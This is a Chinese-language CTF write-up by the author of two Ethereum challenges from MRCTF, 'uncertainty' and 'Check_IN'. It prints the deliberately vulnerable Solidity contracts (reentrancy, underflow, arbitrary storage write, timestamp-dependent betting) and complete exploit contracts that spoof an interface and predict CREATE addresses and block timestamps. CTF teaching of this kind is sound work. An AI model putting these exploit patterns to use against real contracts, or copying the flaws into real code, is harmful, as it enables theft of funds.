首发于

Blockchain in CTF

MRCTF ETH

Retr_0

这个人太懒了,签名都懒得写一个

ETH

此次题目第二题比较简单,是根据已有题目改编,第一题稍微有一点点难度。不过也有很多方法解决题目。相对来说都极大的减小了解题难度以及逆向难度。 同时也恭喜Ainevsia👴全部AK。

uncertainty

这题逆向的难度会比较大,需要各位慢慢的来读代码。 逆向分析不说了,其实这是一个我自己想法出的一个比较奇怪的题。可能会被各种各样的非预期秒,不过所有非预期其实也相当于预期,毕竟放宽的条件比较开。 因为如题目描述一样,这题的难易度由你本身而定。 我这里给出一种解法。 login时覆盖 target1 构造恶意合约, 其他随意覆盖,最后一个tt写入目标合约。 然后后面是一个 逻辑洞,和XCTF Final 2019的是一样的按理来说应该逆向不出来Merak这个函数所以构造完恶意合约需要改函数名的四字节地址。

这里我也给了一些其他的想法点,因为是在模仿一个出入栈过程,而且出栈写的有问题,这里有重入溢出。以及覆盖从而和后面的revise函数构成任意写。也可以在一定程度上完成此题。也希望大家能想出更有趣的方式。 为了防止一开始就被大哥追到我的复现记录,所以下面的代码除了上面地址是Ropsten,其他都是虚拟机上调的。

0xf73D2aA0e375AA98a47B2b7192B593283A98fE0e@Ropsten
flagaddress:0x2220f90af16c435f6E3A204dFDF275f9f1c4B029@Ropsten
pragma solidity ^0.4.17;
interface merak{
    function Merak(uint) view public returns (bool);
}
contract unlock{
    uint win;
    address owner;
    bool public winned;
    constructor()payable{
        owner=msg.sender;
        winned=false;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
}
contract flag{
    address public owner;
    mapping(uint256=>bool) public is_successful;
    constructor()payable{
        owner=msg.sender;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
    function getflag()public payable{
        challenge A=challenge(owner);
        require(A.gettingflag());
        is_successful[uint256(challenge(owner).tt())]=true;
    }
}
contract ez{
    uint win;
    address public owner;
    bool public success;
    constructor()payable{
        owner=msg.sender;
    }
    function getaddress()public returns(address)
    {
        return address(this);
    }
    function betting(uint ss) public payable{
        address target=challenge(owner).tt();
        merak hack=merak(target);
        if(!hack.Merak(ss)){
            win=ss;
            success=hack.Merak(win);
        }
    }
}
contract challenge{
    address public target1;
    address public target2;
    uint256  length;
    address public tt;
    bytes32[] public a;
    uint256 meiyong;
    address public target3;
    unlock A;
    flag B;
    ez C;
    struct edge{
        uint256 loginid;
        uint256 time;
       uint256 maybe;
        uint256 val;
        address logined;
    }
    constructor()payable{
         A=(new unlock).value(0.0001 ether)();
         B=(new flag).value(0.0001 ether)();
         C=(new ez).value(0.0001 ether)();
         target1=address(A);
         target2=address(B);
         target3=address(C);
    }
    function login(uint256 a,uint256 c)public payable{
        edge temp;
        temp.loginid=a;
        temp.time=now%1000;
        temp.maybe=c;
        temp.val=msg.value;
        temp.logined=msg.sender;
        tt=msg.sender;
    }
    function getaddress()public
    {
        target1=A.getaddress();
        target2=B.getaddress();
        target3=C.getaddress();
    }
    function pop()public{
        require(msg.value==0.1 ether);
        length--;
        for(uint256 i=0;i<=length;i++)
        a[i]=a[i+1];
        msg.sender.call.value(msg.value)();
        require(length>=0);
    }
    function push(bytes32 num)public{
        length++;
        require(msg.value==0.1 ether);
        msg.sender.transfer(msg.value);
        for(uint256 i=length;i>=1;i--)
        {
            a[i]=a[i-1];
        }
        a[0]=num;
    }
    function revise(bytes32 tt,uint256 len)public
    {
        require(len<=length,"not enough");
        a[len]=tt;
    }
    function gettingflag() public returns(bool)
    {
        ez(target3).betting(123);
        if (ez(target3).success()==true&&unlock(target1).winned()==true)
        return true;
        else 
        return false;
    }
}
contract tttt{
    bool public winned;
    constructor(){
        winned=true;
    }

}
contract exp{
    address target=0x0498B7c793D7432Cd9dB27fb02fc9cfdBAfA1Fd3;
    address flag1=0x26deFDAD139a48Ae4eeED0cb0ddfe3CE7CFF50a4;
    address s3=0xAcEDC012C1962f5EACFa165abFEf682D1D7b92d9;
    challenge A = challenge(target);
    flag B = flag(flag1);
    ez C = ez(s3);
    bool ta=true;
    constructor()payable{}
    function calculating()public returns (uint256)
    {
        bytes32 tar_get=keccak256(abi.encode(bytes32(address(this)),bytes32(0)));
        return uint256(tar_get);
    }
    function step1()public payable{
        A.login(90028314054265874215933433129302817480352835638,1);
    }
    function Merak(uint256) public returns (bool)
    {
        ta=!ta;
        return ta;
    }
    function gettheflag(){
        B.getflag();
    }
}

Check_IN

挺简单的一道题,是innovation最后两题的一种融合形式。 需要我们预测create地址,然后 now在同一区块都是一样的所以取一次一直打就可以了。

pragma solidity 0.4.24;
contract debug{
    mapping(address=>bool) public model;
    constructor(address fm)payable{
        if(address(this).balance==2.333 ether)
        {
            model[fm]=true;
        }
    }
    function()payable{}
}
contract challenge{
    uint public meiyong;
    mapping(uint=>bool) public is_successful;
    mapping(address=>bool) public addAuth;
    mapping(address=>uint256) public val;
        debug public debugmodel;
    constructor()payable{
        addAuth[msg.sender]=true;
    }
     modifier ctf()
    {
        require(addAuth[msg.sender]||debugmodel.model(msg.sender),"You are not allowed to use this");
        _;
    }
    function one(address target)public payable{
        debugmodel=new debug(target);
    }
    function betting()public payable ctf{
         if((now%10**8)*10**10 == msg.value){
            val[msg.sender] +=uint(msg.value);
            uint cost = msg.value;
            msg.sender.transfer(cost);
        }
    }
    function getflag()public ctf{
        require(val[msg.sender]>10**18);
        is_successful[uint(msg.sender)]=true;
    }
    function newinhere(address target)public ctf{
        addAuth[target]=true;
    }
}
contract exp{
    address target1=0xee11d67fd2de74eba2cce1f41e4af2a3ed8ced50;
    address target=0x5A0A4580bD7A2758794d4AD0Df9aaa26d561720C;
    challenge A = challenge(target);
    constructor()payable{
    }
    function step1()public payable{
        target1.transfer(2.333 ether);
        A.one(address(this));
    }
    function step2()public payable{
        uint val=(now%10**8)*10**10;
        for(uint i=0;i<=10;i++)
        A.betting.value(val)();
    }
    function getflag()public{
        A.getflag();
    }
    function dest()public{
        selfdestruct(0x604a00B360a5dD5eB54E4D6E7b053ACF4389d3dC);
    }
    function()payable{}
}
发布于2021-09-18 15:43:34
+10赞
0条评论
收藏
内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66